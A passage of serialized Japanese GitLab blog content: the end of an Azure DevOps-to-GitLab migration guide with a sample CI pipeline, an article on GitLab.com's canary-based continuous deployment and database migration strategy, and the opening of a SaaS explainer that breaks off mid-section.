$(Build.BuildId)\n```\n\n```yaml\n# .gitlab-ci.yml\n\nvariables:\n  imageName: myapp\n\nstages:\n  - build\n  - test\n  - push\n\nbuild:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker build -t $imageName:$CI_PIPELINE_ID -f $(find . -name Dockerfile) .\n  only:\n    - main\n\ntest:\n  stage: test\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker run --rm $imageName:$CI_PIPELINE_ID npm test\n  only:\n    - main\n\npush:\n  stage: push\n  image: docker:latest\n  services:\n    - docker:dind\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker tag $imageName:$CI_PIPELINE_ID $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n    - docker push $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n  only:\n    - main\n```\n\n**最終チェックリスト:**\n\n* タイムラインとバッチ戦略を決定します。\n* リポジトリ、PR、コントリビューターの完全なインベントリを作成します。\n* スコープ（PRとメタデータ vs Gitデータのみ）に基づいて、Congregateまたは組み込みインポートを選択します。\n* 誰が移行を実行するかを決定し、トークン/権限が設定されていることを確認します。\n* 個別に移行する必要があるアセット（パイプライン、作業アイテム、アーティファクト、フック）を特定し、それらの取り組みを計画します。\n* パイロット移行を実行し、結果を検証してから、計画に従ってスケールします。\n\n## 移行の実行\n\n計画後、トライアル実行から始めて、段階的に移行を実行します。トライアル移行は、組織固有の問題を早期に明らかにし、期間を測定し、結果を検証し、本番環境前にアプローチを微調整する上で役立ちます。\n\nトライアル移行が検証する内容:\n\n* 特定のリポジトリと関連アセットが正常に移行されるかどうか（履歴、ブランチ、タグ。Congregateを使用する場合はMR/コメントも含む）\n* 移行先がすぐに使用可能かどうか（権限、Runner、CI/CD変数、インテグレーション）\n* スケジュールとステークホルダーの期待値を設定するため、各バッチにかかる時間。\n\nダウンタイムのガイダンス:\n\n* GitLabの組み込みGitインポートとCongregateは、本質的にダウンタイムを必要としません。\n* 本番環境の場合では、ADOの変更を凍結（ブランチ保護または読み取り専用）して、移行中に見逃されたコミット、PR更新、作業アイテムの作成を回避します。\n* トライアル実行では凍結は必要なく、いつでも実行できます。\n\nバッチ処理のガイダンス:\n\n* 経過時間を短縮するために、トライアルバッチを連続して実行します。チームは非同期で結果を検証できます。\n* 計画したグループ/サブグループ構造を使用してバッチを定義し、APIレート制限を遵守します。\n\n推奨手順:\n\n1. GitLabでトライアル用のテスト先を作成:\n\n* GitLab.com: 専用グループ/ネームスペースを作成（例: my-org-sandbox）\n* Self-managed: トップレベルグループまたは必要に応じて別のテストインスタンスを作成\n\n2. 認証の準備:\n\n* 必要なスコープを持つAzure DevOps PAT\n* apiとread_repositoryを持つGitLabパーソナルアクセストークン（Congregateで使用されるファイルベースのインポートの場合は管理者アクセスも含む）```suggestion:-0+0\n* apiとread_repositoryを持つGitLabパーソナルアクセストークン（Congregateで使用されるファイルベースのインポートの場合は管理者アクセスも含む）\n\n3. トライアル移行の実行:\n\n* リポジトリのみ: GitLabの組み込みインポート（URLによるレポジトリインポート）を使用\n* リポジトリ + PR/MRおよび追加アセット: Congregateを使用\n\n4. トライアル後のフォローアップ:\n\n* リポジトリ履歴、ブランチ、タグ、マージリクエスト（移行された場合）、イシュー/エピック（移行された場合）、ラベル、関係性を確認します。\n* 権限/ロール、保護ブランチ、必要な承認、Runner/タグ、変数/シークレット、インテグレーション/Webhookを確認します。\n* パイプライン（`.gitlab-ci.yml`）または（該当する場合は）変換されたパイプラインを検証します。\n\n5. ユーザーに機能とデータの正確性を検証してもらいます。\n6. トライアル中に発見された問題を解決し、実行手順を更新します。\n7. ネットワークとセキュリティ:\n\n* 移行先の環境がIP許可リストを使用している場合、インポートが成功するように、移行ホストと必要なRunner/インテグレーションのIPを追加します。\n\n8. 本番環境への移行は段階的に実行:\n\n* 各段階で、ADOで変更凍結を実施します。\n* 進捗とログを監視します。レート制限に達した場合は、再試行するか、バッチサイズを調整します。\n\n9. オプション: 完了後、サンドボックスグループを削除またはアーカイブします。\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ibIXGfrVbi4?si=ZxOVnXjCF-h4Ne0N\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n## GitLabとAzure DevOpsの用語リファレンス\n\n| GitLab                                      | Azure DevOps                     | 類似点と主な違い                                                                        |\n| ------------------------------------------- | -------------------------------- | ------------------------------------------------------------------------------- |\n| グループ                                        | 組織                               | トップレベルのネームスペース、メンバーシップ、ポリシー。ADO組織にはプロジェクトが含まれ、GitLabグループにはサブグループとプロジェクトが含まれます。  |\n| グループまたはサブグループ                               | プロジェクト                           | 論理コンテナ、権限境界。ADOプロジェクトは多数のリポジトリを保持し、GitLabグループ/サブグループは多数のプロジェクトを整理します。           |\n| Project（Gitリポジトリを含む）                        | リポジトリ（プロジェクト内）                   | Git履歴、ブランチ、タグ。GitLabでは、「プロジェクト」はリポジトリとイシュー、CI/CD、Wikiなどを含みます。プロジェクトごとに1つのリポジトリ。 |\n| マージリクエスト（MR）                                | プルリクエスト（PR）                      | コードレビュー、ディスカッション、承認。MRルールには、承認、必要なパイプライン、コードオーナーが含まれます。                         |\n| 保護されたブランチ、MR承認ルール、ステータスチェック                 | ブランチポリシー                         | レビューとチェックを強制。GitLabは保護 + 承認ルール + 必要なステータスチェックを組み合わせます。                          |\n| GitLab CI/CD                                | Azureパイプライン                      | YAMLパイプライン、ステージ/ジョブ、ログ。ADOにはクラシックUIパイプラインもあり、GitLabは.gitlab-ci.ymlを中心にしています。    |\n| .gitlab-ci.yml                              | azure-pipelines.yml              | ステージ/ジョブ/トリガーを定義。構文/機能が異なります。ジョブ、変数、アーティファクト、トリガーをマッピングします。                     |\n| Runner（共有/特定）                               | エージェント/エージェントプール                 | マシン/コンテナでジョブを実行。デマンド（ADO）対タグ（GitLab）でターゲット。登録/スコーピングが異なります。                     |\n| CI/CD変数（プロジェクト/グループ/インスタンス）、保護/マスク          | パイプライン変数、変数グループ、ライブラリ            | 設定/シークレットをジョブに渡します。GitLabはグループ継承とマスキング/保護フラグをサポートします。                           |\n| インテグレーション、CI/CD変数、デプロイキー                    | サービス接続                           | サービス/クラウドへの外部認証。インテグレーションまたは変数にマッピング。クラウド固有のヘルパーが利用可能。                          |\n| 環境とデプロイメント（保護された環境）                         | 環境（承認付き）                         | デプロイターゲット/履歴を追跡。GitLabでは保護された環境と手動ジョブを介した承認。                                    |\n| リリース（タグ + ノート）                              | リリース（クラシックまたはパイプライン）             | バージョン管理されたノート/アーティファクト。GitLabリリースはタグに結び付けられ、デプロイメントは個別に追跡されます。                  |\n| ジョブアーティファクト                                 | パイプラインアーティファクト                   | ジョブ出力を保持。保持/有効期限はジョブまたはプロジェクトごとに設定されます。                                         |\n| パッケージレジストリ（NuGet/npm/Maven/PyPI/Composerなど） | Azureアーティファクト（NuGet/npm/Mavenなど） | パッケージホスティング。認証/ネームスペースが異なります。パッケージタイプごとに移行します。                                  |\n| GitLabコンテナレジストリ                             | Azureコンテナレジストリ（ACR）または他          | OCIイメージ。GitLabはプロジェクト/グループごとのレジストリを提供します。                                       |\n| イシューボード                                     | ボード                              | 列で作業を視覚化。GitLabボードはラベル駆動型で、プロジェクト/グループごとに複数のボードがあります。                           |\n| イシュー（タイプ/ラベル）、エピック                          | 作業アイテム（ユーザーストーリー/バグ/タスク）         | 作業単位を追跡。ADOタイプ/フィールドをラベル/カスタムフィールドにマッピング。エピックはグループレベルです。                        |\n| エピック、親子イシュー                                 | エピック/機能                          | 作業の階層。スキーマが異なります。エピックとイシュー関係を使用します。                                             |\n| マイルストーンとイテレーション                             | イテレーションパス                        | タイムボックス化。GitLabイテレーション（グループ機能）またはプロジェクト/グループごとのマイルストーン。                         |\n| ラベル（スコープ付きラベル）                              | エリアパス                            | 分類/所有権。階層エリアをスコープ付きラベルに置き換えます。                                                  |\n| プロジェクト/グループWiki                             | プロジェクトWiki                       | マークダウンWiki。両方ともリポジトリでバックアップされます。レイアウト/認証がわずかに異なります。                             |\n| CI経由のテストレポート、要件/テスト管理、インテグレーション             | テストプラン/ケース/実行                    | QA証拠/トレーサビリティ。ADOテストプランとの1対1対応はありません。多くの場合、CIレポート + イシュー/要件を使用します。              |\n| ロール（オーナー/メンテナー/デベロッパー/レポーター/ゲスト） + カスタムロール  | アクセスレベル + きめ細かい権限                | 読み取り/書き込み/管理を制御。モデルが異なります。グループ継承と保護されたリソースを活用します。                               |\n| Webhook                                     | サービスフック                          | イベント駆動型インテグレーション。イベント名/ペイロードが異なります。エンドポイントを再設定します。                              |\n| 高度な検索                                       | コードサーチ                           | フルテキストリポジトリ検索。Self-managed版のGitLabでは、高度な機能にElasticsearch/OpenSearchが必要な場合があります。 |",[991,992],"Evgeny Rudinsky","Michael Leopard","2025-12-08","2025-12-03","ガイド: Azure DevOpsからGitLabへの移行",[822,997,88],"git","GitLabプロフェッショナルサービスの移行ツールを使用してAzure DevOpsからGitLabへの完全な移行を実行する方法を学びます — 計画、実行から移行後のフォローアップタスクまで。",{"featured":13,"template":796,"slug":1000},"migration-from-azure-devops-to-gitlab",{"content":1002,"config":1013},{"heroImage":1003,"body":1004,"authors":1005,"updatedDate":1007,"date":1008,"title":1009,"tags":1010,"description":1012,"category":706},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764108112/tyntnsy3xotlmehtnfkb.png","毎日、GitLabは世界最大のGitLabインスタンスであるGitLab.comにコード変更を最大12回、ダウンタイムなしでデプロイしています。これらのデプロイ管理には、GitLab独自のCI/CDプラットフォームを使用しており、世界中の数百万人のデベロッパーに影響を与えています。このデプロイ頻度は、私たちの主要な品質基準とストレステストとして機能しています。また、お客様は数週間や数か月待つことなく、開発から数時間以内で新機能にアクセスできるようになります。組織がDevOpsワークフローにGitLabを利用する場合、私たち自身のインフラストラクチャで大規模に実証されたプラットフォームを使用していることになります。この記事では、このデプロイの複雑さを処理するために、GitLab CI/CDのコア機能を使用して自動化されたデプロイパイプラインを構築した方法をご紹介します。\n\n\n## デプロイ速度がもたらすビジネスケース\n\n\n当社の実践から見えるもの：私たちのデプロイ頻度は単なるエンジニアリング指標ではなく、ビジネス上の必須要件です。迅速なデプロイサイクルにより、お客様からのフィードバックに数時間以内に対応し、セキュリティパッチを即座に提供し、新機能を本番環境で検証してからスケールすることができます。\n\n\nお客様が得られる価値：GitLab.comへのすべてのデプロイは、ユーザーに推奨するデプロイプラクティスを検証しています。GitLabのデプロイ機能を使用する場合、数百万のgit操作、CI/CDパイプライン、ユーザーインタラクションを日々処理する実証済みのアプローチを使用していることになります。以下のメリットがあります:\n\n- 最新機能が即座に利用可能：新しい機能は四半期ごとのリリースサイクルではなく、完成してから数時間以内に提供されます\n- 大規模環境で実証された信頼性：機能がGitLab.comで動作すれば、お客様の環境でも信頼できます\n- GitLabの完全な価値：ゼロダウンタイムデプロイにより、更新中でもDevOpsプラットフォームへのアクセスが失われることはありません\n- 実環境でテストされたプラクティス：当社のデプロイドキュメントは理論ではなく、世界最大のGitLabインスタンスを実際に運用する方法そのものです\n\n\n## コードフローアーキテクチャ\n\n\nデプロイパイプラインは、複数のステージを経て構造化された進行に従います。各ステージは、コード提案から本番環境へのデプロイまでの過程におけるチェックポイントとして機能します。\n\n```mermaid\n  graph TD\n      A[コード提案] --> B[マージリクエスト作成]\n      B --> C[パイプライントリガー]\n      C --> D[ビルド ＆ テスト]\n      D --> E{スペック/統合/QAテスト合格？}\n      E -->|いいえ| F[フィードバックループ]\n      F --> B\n      E -->|はい| G[デフォルトブランチへマージ]\n      G -->|定期的| H[Auto-Deployブランチ]\n\n      subgraph \"デプロイパイプライン\"\n          H --> I[パッケージ作成]\n          I --> K[Canary環境]\n          K --> L[QA検証]\n          L --> M[main環境]\n\n      end\n```\n\n\n## デプロイパイプラインの構成\n\nデプロイアプローチでは、GitLabのネイティブCI/CD機能を使用して、ハイブリッドインフラストラクチャ全体で複雑なデプロイを調整します。\nその実装方法をご紹介します。\n\n\n### ビルド\n\n\nGitLabのビルドは、それ自体が複雑なトピックであるため、ここでは概要レベルで説明します。\n\nOmnibusパッケージとCloud Native GitLab(CNG)イメージの両方をビルドします。OmnibusパッケージはGitalyフリート(Gitストレージレイヤー)にデプロイされ、CNGイメージは他のすべてのコンポーネントをコンテナ化されたワークロードとして実行します。PostgresやRedisなどの他のステートフルサービスは非常に大規模になったため、専任チームが個別に管理しています。GitLab.comの場合、これらのシステムはAuto-Deploy手順中にはデプロイされません。\n\n\n`gitlab-org/gitlab`を定期的に確認し、デフォルトブランチで成功した(「グリーン」)パイプラインを持つ最新のコミットを検索するスケジュールされたパイプラインがあります。グリーンパイプラインは、GitLabのすべてのコンポーネントが包括的なテスト群に成功したことを示します。次に、そのコミットから**auto-deployブランチ**を作成します。\n\n\nこれにより一連のイベントがトリガーされます。主に、このパッケージとモノリスの一部であるすべてのコンポーネントをビルドする必要があります。\n別のスケジュールされたパイプラインが、最新のビルドされたパッケージを選択し、デプロイパイプラインを開始します。手順としては、このようにシンプルに見えます：\n\n\n```mermaid\n  graph LR\n      A[ブランチ作成] --> B[ビルド]\n      B --> C[ビルドされたパッケージを選択]\n      C --> D[デプロイパイプラインを開始]\n```\n\n\nビルドには時間がかかり、さまざまな状況によりデプロイが変動する可能性があるため、最新のビルドをデプロイするように選択しています。技術的には、実際にデプロイされるよりも多くのGitLabのバージョンを.com用にビルドしています。これにより、常に準備が整ったパッケージが用意され、.comに対して完全に継続的にデリバリーされる製品に最も近い状態を実現できます。\n\n\n### 環境ベースの検証とCanary戦略\n\n品質保証(QA)は単なる後付けではなく、開発からデプロイまでのすべてのレイヤーに組み込まれています。QAプロセスでは、ユニットテスト、統合テスト、GitLabの機能との実際のユーザーインタラクションをシミュレートするエンドツーエンドテストを含む自動化されたテスト群を活用しています。しかし、デプロイパイプラインにとってさらに重要なのは、QAプロセスが環境ベースの検証を通じてCanary戦略と密接に連携していることです。\n\n\n検証アプローチの一環として、GitLabのネイティブ[Canaryデプロイ](https://docs.gitlab.com/ja-jp/user/project/canary_deployments/)を活用し、完全な本番環境へのデプロイ前に、限定されたトラフィックで変更を制御しながら検証できるようにしています。[すべてのトラフィックの約5%をCanaryステージに送信しています](https://handbook.gitlab.com/handbook/engineering/infrastructure/environments/canary-stage/#environments-canary-stage)。このアプローチはデータベースマイグレーションの複雑性を高めますが、Canaryデプロイを成功させることで、信頼性の高い製品をシームレスにデプロイすることができます。\n\nGitLabで使用するCanaryデプロイ機能は、本番環境における最も複雑なデプロイメントシナリオの管理を通じて改良されたものです。アプリケーション用にCanaryデプロイを実装する場合、大規模環境で実証済みのパターンを使用していることになります。\n\n当社のデプロイプロセスは、段階的ロールアウト戦略に従います:\n\n1. **ステージング環境 Canary:** 初期検証環境\n\n2. **本番環境 Canary:** 限定された本番トラフィック\n\n3. **ステージング環境 main:** ステージング環境への完全デプロイ\n\n4. **本番環境 main:** 本番環境への完全ロールアウト\n\n```mermaid\n  graph TD\n      C[ステージング環境 Canaryデプロイ]\n      C --> D[QA スモーク main Testステージ]\n      C --> E[QA スモーク Canary Testステージ]\n      D --> F\n      E --> F{テスト合格？}\n      F -->|はい| G[本番環境 Canary デプロイ]\n      G --> S[QA スモーク main Testステージ]\n      G --> T[QA スモーク Canary Testステージ]\n      F -->|いいえ| H[イシュー作成]\n      H --> K[修正＆バックポート]\n      K --> C\n\n      S --> M[Canary トラフィック監視]\n      T --> M[Canary トラフィック監視ベイク期間]\n      M --> U[本番環境安全性チェック]\n      U --> N[ステージング環境 main]\n      N --> V[本番環境 main]\n```\n\nQA検証は、この段階的デプロイプロセス全体の複数のチェックポイントで行われます。各Canaryデプロイ後、そしてデプロイ後のマイグレーション実施後に再度検証を行います。この多層的なアプローチにより、デプロイ戦略の各フェーズに独自のセーフティーネットが確保されます。GitLabの[包括的なテスト手法](https://handbook.gitlab.com/handbook/engineering/testing/)については、ハンドブックで詳しく説明しています。\n\n## デプロイパイプライン\n\nデプロイパイプライン全体で対処している課題についてご紹介します。\n\n### 技術アーキテクチャに関する考慮事項\n\n GitLab.comは、大規模な実環境でのデプロイの複雑性を体現しています。既知の最大規模のGitLabインスタンスとして、デプロイには公式のGitLab HelmチャートとLinuxパッケージを使用しており、これらはお客様が使用するものと同じアーティファクトです。[GitLab.comアーキテクチャ](https://handbook.gitlab.com/handbook/engineering/infrastructure/production/architecture/#gitlab-com-architecture)については、ハンドブックで詳しく説明しています。このハイブリッドアプローチにより、デプロイパイプラインは同一のデプロイサイクルでコンテナ化されたサービスと従来のLinuxサービスの両方をインテリジェントに処理する必要があります。\n\n **大規模なドッグフーディング:** [ゼロダウンタイムのアップグレード](https://docs.gitlab.com/ja-jp/update/zero_downtime/)用にドキュメント化したものと同じ手順を使用してデプロイしています。もし私たちにとってスムーズに機能しないものがあれば、お客様にも推奨しません。この自己規律により、デプロイツールの継続的な改善が促進されています。\n\n すべての環境とステージのアップグレードで、以下のステージが実行されます：\n\n```mermaid\n  graph LR\n      a[Prep] --> c[通常 Migrations - Canaryステージのみ]\n      a --> f[Assets - Canaryステージのみ]\n      c --> d[Gitaly]\n      d --> k8s\n\n      subgraph subGraph0[\"VMワークロード\"]\n        d[\"Gitaly\"]\n      end\n\n      subgraph subGraph1[\"Kubernetesワークロード\"]\n        k8s[\"k8s\"]\n      end\n\n      subgraph fleet[\"フリート\"]\n        subGraph0\n        subGraph1\n      end\n```\n\n\n**ステージの詳細:**\n\n\n- **Prep：** デプロイの準備状況を検証し、デプロイ前のチェックを実行します\n\n- **Migrations：** データベースの通常マイグレーションを実行します。これはCanaryステージでのみ実行されます。Canaryステージとmainステージは同じデータベースを共有しているため、mainステージのデプロイ時にはこれらの変更がすでに利用可能であり、タスクを繰り返す必要はありません。\n\n- **Assets：** すべての静的アセットにGCSバケットを活用しています。新しいアセットが作成された場合、バケットにアップロードし、Canaryステージですぐに利用できるようにします。アセットにWebPackを活用し、アセットの命名にSHAを適切に活用しているため、古いアセットを上書きする心配はありません。したがって、古いアセットは古いデプロイで引き続き利用可能であり、新しいアセットはCanaryがデプロイを開始するとすぐに利用可能になります。これはCanaryステージのデプロイ中にのみ実行されます。Canaryステージとmainステージは同じアセットストレージを共有しているため、mainステージのデプロイ時にはこれらの変更はすでに利用可能です。\n\n- **Gitaly：** 各GitalyノードでOmnibus LinuxパッケージによりGitaly仮想マシンスのトレージレイヤーを更新します。このサービスは[`git`とバンドル](https://gitlab.com/gitlab-org/gitaly/-/blob/master/doc/git-execution-environments.md)されているため、特殊です。したがって、このサービスがアトミックアップグレードを実行可能かを確認する必要があります。[Gitalyのラッパー](https://gitlab.com/gitlab-org/gitaly/-/tree/master/cmd/gitaly-wrapper)を活用し、新しいバージョンのGitalyをインストールし、ライブラリ[`tableflip`](https://github.com/cloudflare/tableflip)を使用しすることで、実行中のGitalyをクリーンにローテーションし、各インスタンスでこのサービスの高可用性を確保しています。\n\n- **Kubernetes：** Helmチャートを使用してコンテナ化されたGitLabコンポーネントをデプロイします。冗長性のために複数のゾーンにまたがる多数のクラスターにデプロイするため、通常これらは被害を最小限に抑えるために個別のステージに分割され、重大な問題が検出された場合はデプロイを途中で停止できるようにしています。\n\n\n### マルチバージョン互換性:隠れた課題\n\n\nプロセスを読むと、データベーススキーマがmainステージが認識しているコードより先行している期間があることに気付くでしょう。これは、Canaryステージが既に新しいコードをデプロイし、通常のデータベースマイグレーションを実行しているが、mainステージはまだこれらの新しいデータベース変更を認識していない以前のバージョンのコードを実行しているために発生します。\n\n**実際の例：** マージリクエストに新しい`merge_readiness`フィールドを追加するとします。デプロイ中、一部のサーバーはこのフィールドを期待するコードを実行していますが、他のサーバーはまだその存在を認識していません。これを適切に処理しないと、数百万人のユーザーが使用するGitLab.comが壊れてしまいます。適切に処理すれば、誰も何が起こったか気付きません。\n\nこれは他のほとんどのサービスでも発生します。たとえば、クライアントが複数のリクエストを送信する場合、そのうちの1つがCanaryステージに到達する可能性があります。他のリクエストはmainステージに向けられる可能性があります。これはデプロイとそれほど変わりません。サービスを実行している数千のPodを通過するのにかなりの時間がかかるためです。\n\n\nいくつかの例外を除いて、サービスの大部分は、Canaryでそのコンポーネントのわずかに新しいバージョンを一定期間実行します。ある意味では、これらのシナリオはすべて一時的な状態です。しかし、ライブの本番環境では数時間または数日間持続することがよくあります。したがって、永続的な状態と同じように注意を払って扱う必要があります。どのデプロイ中も、複数のバージョンのGitLabが同時に実行されており、それらすべてが適切に連携する必要があります。\n\n## データベース操作\n\nデータベースマイグレーションは、Canaryデプロイモデルにおいて独特の課題を提示します。新機能をサポートするためのスキーマ変更が必要な一方で、問題が発生した場合のロールバック機能を維持する必要があります。当社のソリューションでは、懸念を慎重に分離しています：\n\n- **通常マイグレーション:** Canaryステージ中に実行され、後方互換性を持つように設計され、可逆的な変更のみで構成されます\n\n- **デプロイ後マイグレーション:** 複数の成功したデプロイ後にのみ実行される「ポイント・オブ・ノーリターン」マイグレーション\n\n\nデータベース変更は、正確さと広範な検証手順により処理されます:\n\n\n```mermaid\n  graph LR\n      A[通常マイグレーション] --> B[Canaryステージデプロイ]\n      B --> C[mainステージデプロイ]\n      C --> D[デプロイ後マイグレーション]\n\n```\n\n### デプロイ後マイグレーション\n\n\nGitLabのデプロイには多くのコンポーネントが関与します。GitLabの更新はアトミックではないため、多くのコンポーネントが後方互換性を持つ必要があります。\n\n\nデプロイ後マイグレーションには、簡単にロールバックできない変更(データ変換、カラムの削除、または古いコードバージョンを壊す構造的変更など)が含まれることがよくあります。複数の成功したデプロイを通じて信頼を得た_後_にそれらを実行することで、次を保証します:\n\n\n1. **新しいコードが安定している**ため、ロールバックが必要になる可能性が低い\n\n2. **パフォーマンス特性**が本番環境で十分に理解されている\n\n3. **エッジケース**が発見され対処されている\n\n4. 問題が発生した場合に**影響範囲**が最小限に抑えられる\n\n\nこのアプローチは最適なバランスを提供します。Canaryリリースによる迅速な機能デプロイを可能にしながら、デプロイの安定性に高い信頼を得るまでロールバック機能を維持します。\n\n\n**拡張-移行-縮小パターン:** データベース、フロントエンド、アプリケーション互換性の変更は、慎重に調整された3段階のアプローチに従います。\n\n\n1. **拡張：** 古い構造を機能させたまま、新しい構造（カラム、インデックス）を追加\n\n2. **移行：** 新しい構造を使用する新しいアプリケーションコードをデプロイ\n\n3. **縮小：** すべてが安定した後、デプロイ後マイグレーションで古い構造を削除\n\n**実際の例:** マージリクエストに新しい`merge_readiness`カラムを追加する場合：\n\n1. **拡張：** デフォルト値を持つ新しいカラムを追加。既存のコードはそれを無視\n\n2. **移行：** 古いアプローチをサポートしながら、新しいカラムの読み書きを行うコードをデプロイ\n\n3 **縮小：** 複数の成功したデプロイの後、デプロイ後マイグレーションで古いカラムを削除\n\nすべてのデータベース操作、アプリケーションコード、フロントエンドコードなどは、エンジニアリングが遵守する必要がある一連のガイドラインの対象となります。これらは[マルチバージョン互換性ドキュメント](https://docs.gitlab.com/ja-jp/development/multi_version_compatibility/)で確認できます。\n\n\n## 結果と影響\n\nデプロイインフラストラクチャは測定可能なメリットを提供します:\n\n**GitLabにとって**\n\n* GitLab.comへの1日最大12回のデプロイ\n* 数百万人のデベロッパーにサービスを提供するダウンタイムゼロのデプロイ\n* セキュリティパッチを数日ではなく数時間以内で本番環境に提供可能\n* 一般公開前に大規模な本番環境で検証された新機能\n\n**お客様にとって**\n\n* 独自のアプリケーションに採用できる実証済みのデプロイパターン\n* お客様の環境に到達する前に、世界最大のGitLabインスタンスで実証された機能\n* 理論的なベストプラクティスではなく、実際の本番環境のプラクティスを反映したドキュメント\n* GitLabの推奨アップグレード手順が、あらゆる規模で機能するという確信\n\n## エンジニアリングチームへの重要なポイント\n\nGitLabのデプロイパイプラインは、デプロイ速度と運用の信頼性のバランスをとる洗練されたシステムを表しています。段階的デプロイモデル、包括的なテスト統合、堅牢なロールバック機能により、大規模な信頼性の高いソフトウェア配信の基盤を提供します。\n\n\n同様のシステムを実装するエンジニアリングチームにとって、次のような重要な考慮事項があります:\n\n\n- **自動テスト：** デプロイパイプライン全体にわたる包括的なテストカバレッジ\n\n- **段階的ロールアウト：** リスクを最小限に抑え、迅速な復旧を可能にする段階的デプロイ\n\n- **監視統合：** すべてのデプロイステージにわたる包括的な可観測性\n\n- **インシデント対応：** デプロイ問題の迅速な検出と解決能力\n\n\nGitLabのアーキテクチャは、最新のCI/CDシステムが競争力のあるソフトウェア開発に必要な速度を維持しながら、大規模デプロイの複雑性を管理する方法を実証しています。\n\n\n## 対象範囲に関する重要な注意事項\n\n\nこの記事では、特に**GitLab Omnibusパッケージ**と**Helmチャート**の一部であるサービス(基本的にコアGitLabモノリスとその緊密に統合されたコンポーネント)のデプロイパイプラインについて具体的に説明しています。\n\n\nただし、GitLabのインフラストラクチャの範囲は、ここで説明されている内容を超えて広がっています。他のサービス、特に**AIサービス**や**概念実証段階**にあるサービスは、Runwayと呼ばれる内部プラットフォームを使用した異なるデプロイアプローチに従っています。\n\n\nこれらの他のサービスで作業している場合、または興味がある場合は、[Runwayドキュメント](https://docs.runway.gitlab.com)で詳細情報を確認できます。\n\n\nGitLab Dedicatedなどの他のサービスは、お客様が**GitLab Environment Toolkit**を使用して、お客様自身で実行できることを期待する内容により沿った形でデプロイされます。詳細については、[GitLab Environment Toolkitプロジェクト](https://gitlab.com/gitlab-org/gitlab-environment-toolkit)をご覧ください。\n\n\nこの記事で概説されているデプロイ戦略、アーキテクチャに関する考慮事項、パイプラインの複雑性は、コアプラットフォームで使用している実証済みのアプローチを表していますが、大規模なエンジニアリング組織と同様に、さまざまなサービスタイプと成熟度レベルに合わせた複数のデプロイ戦略があります。\n\nAuto-Deployと手順に関する詳細なドキュメントは、以下のリンクで確認できます：\n  - [Engineering Deployments](https://handbook.gitlab.com/handbook/engineering/deployments-and-releases/deployments/)\n  - [Release Procedural Documentation](https://gitlab-org.gitlab.io/release/docs/)\n\n## その他のリソース\n\n- [GitLabリポジトリのバックアップ時間を48時間から41分に短縮した方法](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/)\n\n- [WebSocketでGitLab CIステータスを高速化した方法](https://about.gitlab.com/blog/how-we-supercharged-gitlab-ci-statuses-with-websockets/)\n\n- [バリューストリーム管理でMRレビュー時間を短縮した方法](https://about.gitlab.com/blog/how-we-reduced-mr-review-time-with-value-stream-management/)\n",[1006],"John Skarbek","2026-01-15","2025-12-01","世界最大のGitLabインスタンスを1日12回デプロイする方法",[745,1011],"inside GitLab","GitLab.comのデプロイパイプラインを技術的に深掘りします。段階的ロールアウト、Canary戦略、データベースマイグレーション、マルチバージョン互換性について解説します。",{"featured":13,"template":796,"slug":1014},"continuously-deploying-the-largest-gitlab-instance",{"content":1016,"config":1025},{"description":1017,"title":1018,"authors":1019,"heroImage":1021,"date":1022,"category":706,"body":1023,"updatedDate":1024},"SaaSの基礎、利用するメリット・デメリット、PaaSやIaaSとの違い、ソフトウェア開発に役立つサービスなどをご紹介。ぜひお読みください。","SaaSとは？意味・読み方・PaaS/IaaSとの違い・メリットをわかりやすく解説",[1020],"GitLab Team","https://res.cloudinary.com/about-gitlab-com/image/upload/v1760421091/iaruhhz70gncm8bqfqyg.jpg","2025-10-15","SaaSを利用することで、様々な業務をより効率的に、かつ低コストで実施できます。本記事では、SaaSとは何かを分かりやすく説明するとともに、用途別のおすすめSaaSやソフトウェア開発におけるSaaS活用のメリットなどを解説します。GitLabが提供するSaaSも後半で詳しくご紹介します。\n## 目次\n* SaaSとは？\n* ソフトウェア利用モデルの比較\n* SaaSのメリット\n* SaaSのデメリット\n* SaaSとPaaS・IaaSの違いとは？\n* SaaSを選ぶ際のポイント\n* 代表的なSaaSと主な機能\n* GitLabはソフトウェア開発にどのように貢献するのか？\n* SaaSやGitLabに関するFAQ\n## SaaSとは？仕組みやクラウドとの違い\nSaaSは「Software as a Service」の略称で、読み方は「サース」もしくは「サーズ」です。日本語にすると「サービスとしてのソフトウェア」となります。\nSaaSは、サービス提供会社（ベンダー）のサーバーで提供されているソフトウェアを、インターネットなどのネットワークを介して利用できるサービスのことです。自身のパソコンや自社サーバーにソフトウェアをインストールしなくても、インターネット経由で最新のサービスを利用できます。\nSaaSの例としてよく挙げられるのがGoogleが提供しているGoogleドキュメントやGoogleスプレッドシート、Googleドライブなどです。特定のソフトウェアやアプリをインストールしなくても、これらの機能をオンライン上で自由に利用できます。\n弊社が提供しているソフトウェア開発プラットフォーム「[GitLab](https://about.gitlab.com/ja-jp/)」も、ソフトウェア開発に関するSaaSの代表格の1つです。\n### SaaSの仕組み\n一般的なソフトウェアは自社のサーバーやパソコンなどにインストールして利用しますが、SaaSの場合には、サービス提供会社のサーバーにてソフトウェアが起動しています。インターネットを介してサービス提供会社のサーバーに接続し、そこでソフトウェアを利用する、というのがSaaSの主な仕組みです。\n提供会社がソフトウェアを頻繁にアップデートしているため、最新のサービスがどこからでも、どのデバイスからでも利用できます。\n### SaaSとクラウドサービスの違い\nよく似た言葉に「クラウドサービス」があります。同様の意味合いで使われる用語ですが、クラウドサービスはアプリに限定されないより広範な概念です。後に説明するPaaSやIaaSなどもクラウドサービスに当てはまります。クラウドサービスの1つがSaaSだと考えるとよいでしょう。\n## ソフトウェア利用モデルの比較\n企業がソフトウェアを利用する方法は主に以下の3つです。\n*  オンプレミス型\n* インストール型\n* SaaS\nそれぞれの特徴について簡単に説明します。\n### 